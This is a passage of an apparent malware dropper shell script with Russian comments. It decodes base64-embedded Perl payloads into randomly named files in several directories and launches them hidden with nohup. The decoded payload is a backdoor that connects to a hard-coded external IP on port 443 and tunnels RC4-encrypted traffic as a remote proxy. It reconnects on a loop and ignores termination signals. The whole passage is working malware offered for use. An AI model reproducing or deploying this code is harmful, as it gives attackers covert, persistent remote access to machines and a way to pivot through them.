LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #23 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #23 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 24 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk 